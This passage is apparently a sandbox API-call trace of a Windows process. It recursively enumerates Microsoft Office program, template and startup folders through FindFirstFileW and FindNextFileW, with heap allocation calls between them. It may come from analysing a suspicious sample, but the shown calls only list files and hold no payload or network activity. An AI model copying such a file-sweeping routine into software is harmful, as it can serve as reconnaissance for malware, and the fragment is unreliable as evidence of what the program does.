[0206.024] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93746100, ftCreationTime.dwHighDateTime=0x1ca1b28, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93746100, ftLastWriteTime.dwHighDateTime=0x1ca1b28, nFileSizeHigh=0x0, nFileSizeLow=0x24c9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL022.XML", cAlternateFileName="")) returned 1 [0206.024] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x1f4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL026.XML", cAlternateFileName="")) returned 1 [0206.024] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54389200, ftCreationTime.dwHighDateTime=0x1c9f606, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54389200, ftLastWriteTime.dwHighDateTime=0x1c9f606, nFileSizeHigh=0x0, nFileSizeLow=0x6d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL027.XML", cAlternateFileName="")) returned 1 [0206.024] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b28800, ftCreationTime.dwHighDateTime=0x1c9e3fe, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b28800, ftLastWriteTime.dwHighDateTime=0x1c9e3fe, nFileSizeHigh=0x0, nFileSizeLow=0x266a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL044.XML", cAlternateFileName="")) returned 1 [0206.024] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x187aa500, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x187aa500, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x10e590, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL048.XML", cAlternateFileName="")) returned 1 [0206.024] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf22b5d00, ftCreationTime.dwHighDateTime=0x1c9f604, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf22b5d00, ftLastWriteTime.dwHighDateTime=0x1c9f604, nFileSizeHigh=0x0, nFileSizeLow=0x59f76, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL054.XML", cAlternateFileName="")) returned 1 [0206.025] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc9300, ftCreationTime.dwHighDateTime=0x1c6b6bd, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecc9300, ftLastWriteTime.dwHighDateTime=0x1c6b6bd, nFileSizeHigh=0x0, nFileSizeLow=0x26c44, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL058.XML", cAlternateFileName="")) returned 1 [0206.025] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cc7d000, ftCreationTime.dwHighDateTime=0x1c68eef, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cc7d000, ftLastWriteTime.dwHighDateTime=0x1c68eef, nFileSizeHigh=0x0, nFileSizeLow=0x165d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL065.XML", cAlternateFileName="")) returned 1 [0206.025] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902d7600, ftCreationTime.dwHighDateTime=0x1c69abe, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x902d7600, ftLastWriteTime.dwHighDateTime=0x1c69abe, nFileSizeHigh=0x0, nFileSizeLow=0xacb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL075.XML", cAlternateFileName="")) returned 1 [0206.025] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbcd1600, ftCreationTime.dwHighDateTime=0x1c6c538, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbcd1600, ftLastWriteTime.dwHighDateTime=0x1c6c538, nFileSizeHigh=0x0, nFileSizeLow=0x6134, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL077.XML", cAlternateFileName="")) returned 1 [0206.025] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe756a100, ftCreationTime.dwHighDateTime=0x1c6beda, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe756a100, ftLastWriteTime.dwHighDateTime=0x1c6beda, nFileSizeHigh=0x0, nFileSizeLow=0x753, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL078.XML", cAlternateFileName="")) returned 1 [0206.025] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fe6500, ftCreationTime.dwHighDateTime=0x1ca1b37, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91fe6500, ftLastWriteTime.dwHighDateTime=0x1ca1b37, nFileSizeHigh=0x0, nFileSizeLow=0xe944e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL081.XML", cAlternateFileName="")) returned 1 [0206.025] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67337900, ftCreationTime.dwHighDateTime=0x1ca0b56, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67337900, ftLastWriteTime.dwHighDateTime=0x1ca0b56, nFileSizeHigh=0x0, nFileSizeLow=0x38d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL082.XML", cAlternateFileName="")) returned 1 [0206.025] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf103000, ftCreationTime.dwHighDateTime=0x1ca25ea, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf103000, ftLastWriteTime.dwHighDateTime=0x1ca25ea, nFileSizeHigh=0x0, nFileSizeLow=0x8cda, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL083.XML", cAlternateFileName="")) returned 1 [0206.025] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9141f00, ftCreationTime.dwHighDateTime=0x1c6d896, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9141f00, ftLastWriteTime.dwHighDateTime=0x1c6d896, nFileSizeHigh=0x0, nFileSizeLow=0xab732, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL086.XML", cAlternateFileName="")) returned 1 [0206.025] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8d69800, ftCreationTime.dwHighDateTime=0x1c6bedf, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8d69800, ftLastWriteTime.dwHighDateTime=0x1c6bedf, nFileSizeHigh=0x0, nFileSizeLow=0x13d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL087.XML", cAlternateFileName="")) returned 1 [0206.025] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe893cd00, ftCreationTime.dwHighDateTime=0x1ca0904, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe893cd00, ftLastWriteTime.dwHighDateTime=0x1ca0904, nFileSizeHigh=0x0, nFileSizeLow=0xb532, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL089.XML", cAlternateFileName="")) returned 1 [0206.026] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a5c4800, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a5c4800, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x124b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL090.XML", cAlternateFileName="")) returned 1 [0206.029] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0206.030] GetProcessHeap () returned 0x550000 [0206.030] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0206.030] GetProcessHeap () returned 0x550000 [0206.030] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0206.030] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0206.033] GetProcessHeap () returned 0x550000 [0206.033] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0206.033] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0206.034] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0206.034] GetProcessHeap () returned 0x550000 [0206.034] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0206.034] GetProcessHeap () returned 0x550000 [0206.034] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0206.034] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0206.035] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0206.035] GetProcessHeap () returned 0x550000 [0206.035] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0206.035] GetProcessHeap () returned 0x550000 [0206.035] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0206.035] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0206.035] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0206.036] GetProcessHeap () returned 0x550000 [0206.036] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0206.036] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0206.036] GetProcessHeap () returned 0x550000 [0206.036] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0206.036] GetProcessHeap () returned 0x550000 [0206.036] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0206.036] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0206.038] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0206.039] GetProcessHeap () returned 0x550000 [0206.039] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0206.039] GetProcessHeap () returned 0x550000 [0206.039] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0206.039] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0206.053] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0206.055] GetProcessHeap () returned 0x550000 [0206.055] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0206.055] GetProcessHeap () returned 0x550000 [0206.055] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0206.055] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0206.058] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0206.059] GetProcessHeap () returned 0x550000 [0206.059] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0206.059] GetProcessHeap () returned 0x550000 [0206.059] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0206.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0206.060] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0206.060] GetProcessHeap () returned 0x550000 [0206.060] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0206.060] GetProcessHeap () returned 0x550000 [0206.060] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0206.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0206.061] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0206.061] GetProcessHeap () returned 0x550000 [0206.061] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0206.061] GetProcessHeap () returned 0x550000 [0206.061] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0206.061] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0206.062] GetProcessHeap () returned 0x550000 [0206.062] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0206.062] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0206.262] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0206.264] GetProcessHeap () returned 0x550000 [0206.264] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0206.264] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0206.264] GetProcessHeap () returned 0x550000 [0206.264] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0206.264] GetProcessHeap () returned 0x550000 [0206.264] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0206.265] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0206.265] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0206.265] GetProcessHeap () returned 0x550000 [0206.265] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0206.265] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0206.265] GetProcessHeap () returned 0x550000 [0206.265] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0206.268] GetProcessHeap () returned 0x550000 [0206.268] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0206.268] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Stationery\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0206.269] GetProcessHeap () returned 0x550000 [0206.269] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0206.270] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0206.272] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0206.274] GetProcessHeap () returned 0x550000 [0206.274] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0206.274] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0206.274] GetProcessHeap () returned 0x550000 [0206.274] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0206.274] GetProcessHeap () returned 0x550000 [0206.274] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0206.274] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0206.274] GetProcessHeap () returned 0x550000 [0206.275] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0206.275] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0206.279] GetProcessHeap () returned 0x550000 [0206.279] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26460e8 [0206.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 